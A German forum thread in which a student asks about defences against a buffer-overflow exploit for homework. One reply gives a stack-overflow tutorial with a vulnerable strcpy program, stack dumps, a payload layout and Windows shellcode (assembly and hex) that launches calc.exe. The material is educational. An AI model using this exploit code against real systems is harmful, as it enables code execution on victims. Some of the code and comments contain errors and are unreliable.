Buffer overflow: Injection verhindern



  • Guten Morgen an euch alle 🙂
    ich bin gerade durch google auf das Forum hier gestoßen und dachte ich frage euch mal um Hilfe...
    Also: Ich muss heute ein Übungsblatt zum Thema Buffer overflows abgeben, bei dem ein C-Programm gegeben ist und ein Exploit, welches einen Buffer Overflow anzettelt- und verschiedene Möglichkeiten, wie man das verhindern kann. Und nun soll ich bewerten, was von den Möglichkeiten am sinnvollsten ist.

    Mein Problem ist jetzt, dass ich nicht wirklich Ahnung von C habe (ok, vielleicht auch gar keine Ahnung)
    und mir nur schwer zusammenreimen kann, was das alles genau macht 🙂 Deswegen komme ich damit nicht klar und dachte ich frage hier um Hilfe.

    Hier ist mal der Code des Programms:

    bool check (short i, short n){
    return i<n;
    }
    
    int main (int argc, char *argv[]){
    if (argc!= 4 ) return -1;
    n= atoi(argv[1]);
    if (n<0) return -1;
    int a[n];
    int i= atoi(argv[2]);
    int d=atoi(argv[3]);
    if(check(i,n)) a[i]=d;
    return 0;
    }
    

    Und hier das Exploit:

    int main (void){
    char* args[3]; char *env[1];
    char sc[sizeof(shellcode)+1];
    char a1[20]; char a2[20]; char a3[20];
    sprintf(a1, "%d", 32767);
    sprintf(a2, "%d", 32767+S_LOCAL+2);
    sprintf(a3, "%d", (int) ARGV0_ADDR);
    strcpy(sc, shellcode);
    sc[sizeof(shellcode)]='\0';
    env[0]=NULL;
    return execve("target", args, env);
    }
    [code="c"][/cs]
    

    Wobei S_LOCAL die Größe der lokalen Variablen zwischen array a und dem sf ist.
    So und folgende Möglichkeiten zur Abwehr sind angegeben, die ich dann bewerten soll:
    a) Checking array bounds at runtime with CRED
    b) Checking array bounds at run-time with Libsafe or Libsafe PLUS
    c) Stack canaries
    d) Non-executable stack
    e) Adress space randomization

    Für mich macht das halt leider alles Sinn - aber es ist sehr unwahrscheinlich dass das stimt 🙂
    Würde mich über jede Hilfe freuen 🙂

    Vielen Dank & liebe Grüße,
    Jule


  • Mod

    Meiner Meinung nach alles übertriebener Unsinn, der das Programm schlechter macht (1-2), beziehungsweise auf den du als Programmierer sowieso keinen Einfluss hast(3-5). Einfach die Fehler beheben. Keine ungeprüfte Nutzereingabe (hier: i,n) als Teil der Programmlogik benutzen.



  • Der Fehler liegt doch darin, dass in Zeile 11 vom Exploit argv nicht initialisiert ist. 😉



  • Schau mal hier: http://security.stackexchange.com/questions/20497/stack-overflows-defeating-canaries-aslr-dep-nx

    Da bekommst du einen kleinen überblick.

    Was ein einfacher Bufferoverflow ist weisst du aber oder?^^

    Falls nicht hier ein simples Beispiel:

    #include <stdio>
    #include <cstring.h>
    
    int main( int argc, char *argv[] )
    {
    char vul[8];
    if(argc<2) // Wenn kein Parameter an das Programm übergeben wurde wird eine Fehlermeldung ausgeben und das Programm beendet
    {
     printf("Fehler kein Parameter\n");
     return 0;
    }
    strcpy(vul,argv[1]); // Kopiere die Daten aus argv[1] nach vul
    
    printf("Ausgabe: %s",vul);   // Gebe den Inhalt von vul aus
    return 0;
    }
    
    00401186  |. FF72 04        PUSH DWORD PTR DS:[EDX+4]                ; /src
    00401189  |. 8D4D F8        LEA ECX,DWORD PTR SS:[EBP-8]             ; |
    0040118C  |. 51             PUSH ECX                                 ; |dest   Adresse: 12ff84
    0040118D  |. E8 94010000    CALL <JMP.&CC3260MT._strcpy>             ; \_strcpy
    
    Stack-Abbild ohne Overflow(normale Programmausführung):
    Adressen   Werte die an der Adresse stehen
    0012FF7C   0012FF84  ASCII "AAA"
    0012FF80   008654E0  ASCII "AAA"
    0012FF84 > 00414141
    0012FF88 > 00000001
    0012FF8C   0012FFB8
    0012FF90   3267E552  RETURN to CC3260MT.3267E552  ; Rücksprung Adresse wird verwendet um z.b. eine Funktion zu verlassen in diesem Fall die int main(argc,char *argv[]) Funktion.
    0012FF94 > 00000002
    0012FF98 > 0086549C
    
    Stack-Abbild bei Overflow:
    Adressen   Werte die an der Adresse stehen
    0012FF84 > 41414141
    0012FF88 > 41414141
    0012FF8C   41414141
    0012FF90   41414141 ; Anstatt 41414141 muss dort die Adresse (im little endian Format) stehen wo der Shellcode auch ist.
    0012FF94   Shellcode Daten
    0012FF8C   Shellcode Daten    
    
    Hier hab ich jetzt 16 Byte übergeben, also kann man sagen: 16 - 4 = 12 Byte
    12 Byte + 4 Byte für die Adresse wo der Shellcode stehen soll.
    
    Also braucht man z.b.:
    
    12 Byte ( A = 41hex )
     4 Byte Rücksprung Adresse
            Der Shellcode 
    
    Kurz gesagt, das ganze sieht dann so aus:
    [cpp]
    char shellcode[]=
    "\x41\x41\x41\x41"
    "\x41\x41\x41\x41"
    "\x41\x41\x41\x41"
    "\x00\x94\xff\x12"   // Entspricht der Adresse: 0012ff94 (Big Endian),  "\x00\x94\xff\x12" = Little Endian
    "\xeb\x1e\x5b\x83\xc3\x8\x31\xc0\x88\x3"
    "\x83\xeb\x8\x50\x53\xbb\xd\x25\x86\x7c"
    "\xff\xd3\x31\xc0\x50\xbb\x12\xcb\x81\x7c"
    "\xff\xd3\xe8\xdd\xff\xff\xff\x63\x61\x6c"
    "\x63\x2e\x65\x78\x65\x41";
    [/cpp]
    
    Ziel ist es hier dafür zu sorgen das an Adresse 12FF90 eine Adresse steht die auf einen Shellcode
    zeigt.
    

    Shellcode Source Code für Windows:

    [Section .text]
    BITS 32
    global _start
    
    _start:
    
    jmp short go 
    
    execute_sh: 
    
        pop ebx        ; ebx enthält: "calc.exeA"
    	add ebx,8      ; Lasse ebx auf das string Ende Zeigen  
    
    	xor eax,eax     ; eax auf 0 setzen  
    	mov [ebx],al    ; Schreibe eine 0 an das Ende von dem string (damit der string Nullterminiert ist und im Shellcode keine Nullbytes drin sind)
    
    	sub ebx,8        ; ebx zeigt wieder auf den string anfang
    	push eax         ; eax auf stack
        push ebx         ; ebx auf stack (der string wird auf den stack gepusht ) 
    
        mov ebx,0x7c86250d  ; 0x7c86250d = Adresse von WinExec, ebx = 0x7c86250d
        call ebx            ; WinExec (Windows API Funktion) aufrufen   
    
    	xor eax,eax         ; eax wieder auf 0 setzen
    	push eax            ; eax auf den Stack pushen 
    	mov ebx,0x7c81cb12  ; 0x7c81cb12 = Adresse von WinExec, ebx = 0x7c81cb12
    	call ebx            ; ExitProcess (Windows API Funktion) aufrufen
    
    go: 
        call execute_sh 
        db "calc.exeA"
    

    Daraus Assembliert man sich jetzt mit NASM (Netwide Assembler) eine Binär Datei diese konvertiert man anschließend nach Hex damit dort so was tolles rauskommt wie unten. (siehe Shellcode in Hexform)

    Shellcode in Hexform:

    char shellcode[]=
    "\xeb\x1e\x5b\x83\xc3\x8\x31\xc0\x88\x3"
    "\x83\xeb\x8\x50\x53\xbb\xd\x25\x86\x7c"
    "\xff\xd3\x31\xc0\x50\xbb\x12\xcb\x81\x7c"
    "\xff\xd3\xe8\xdd\xff\xff\xff\x63\x61\x6c"
    "\x63\x2e\x65\x78\x65\x41";
    

    Du könntest dir auch mal den Buffer Overflow Primer von ehm ja ka wie sein Name nochmal war anschauen.

    Such einfach mal nach: Bufferoverflow Primer
    Bei Securitytube kann man den anschauen.


Anmelden zum Antworten